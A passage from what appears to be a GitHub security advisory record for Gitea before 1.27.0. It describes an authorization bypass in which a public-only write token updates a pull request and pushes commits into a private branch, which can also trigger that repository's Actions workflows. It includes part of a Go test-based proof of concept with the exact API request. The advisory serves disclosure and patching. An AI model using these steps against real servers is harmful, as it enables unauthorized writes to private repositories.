pr.Title)\n\n\t\tgitRepo, err := gitrepo.OpenRepository(t.Context(), headRepo)\n\t\trequire.NoError(t, err)\n\t\tdefer gitRepo.Close()\n\n\t\tcommit, err := gitRepo.GetBranchCommit(headBranch)\n\t\trequire.NoError(t, err)\n\t\t_, err = commit.GetBlobByPath(publicPath)\n\t\trequire.Error(t, err)\n\n\t\treq = NewRequestf(t, \"POST\", \"/api/v1/repos/%s/pulls/%d/update?style=merge\", baseRepo.FullName(), pr.Index).\n\t\t\tAddTokenAuth(publicOnlyToken)\n\t\tMakeRequest(t, req, http.StatusOK)\n\t\tassert.Eventually(t, func() bool {\n\t\t\treturn unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID}) > baselinePrivateHeadRuns\n\t\t}, 5*time.Second, 50*time.Millisecond)\n\n\t\tactionRun := unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRun{\n\t\t\tRepoID: headRepo.ID,\n\t\t\tWorkflowID: workflowID,\n\t\t}, unittest.OrderBy(\"id DESC\"))\n\t\tassert.Equal(t, webhook_module.HookEventPush, actionRun.Event)\n\t\tassert.Equal(t, \"push\", actionRun.TriggerEvent)\n\t\tassert.Equal(t, doer.ID, actionRun.TriggerUserID)\n\t\tassert.NotEmpty(t, actionRun.CommitSHA)\n\n\t\tjob := unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRunJob{RunID: actionRun.ID})\n\t\tassert.Contains(t, string(job.WorkflowPayload), workflowSentinel)\n\n\t\tcommit, err = gitRepo.GetBranchCommit(headBranch)\n\t\trequire.NoError(t, err)\n\t\tblob, err := commit.GetBlobByPath(publicPath)\n\t\trequire.NoError(t, err)\n\t\tcontent, err := blob.GetBlobContent(1024)\n\t\trequire.NoError(t, err)\n\t\tassert.Equal(t, publicMarker, content)\n\t})\n}\n```\n\n### Impact\nThe attacker needs a valid `public-only,write:repository` token for a user who has normal write permission to the private PR head branch. The attacker also needs a public base repository and a pull request relationship where the public base can be merged or rebased into the private head.\n\nSuccessful exploitation gives a private repository write primitive through a token that is explicitly limited to public repositories. The direct impact is integrity: public base commits are pushed into a private branch even though direct private repository writes are rejected for the same token.\n\nWhen Actions is enabled on the private head repository, the same server-side push also queues the private repository's matching `push` workflow. The PoC confirms an `ActionRun` and `ActionRunJob` are created for the private head repository with the attack-triggered push event.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "code.gitea.io/gitea"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.27.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/go-gitea/gitea/security/advisories/GHSA-xxjv-752h-3vp2"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/go-gitea/gitea"
}, {
"type" : "WEB",
"url" : "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-863" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-21T20:38:06Z",
"nvd_published_at" : null
}
}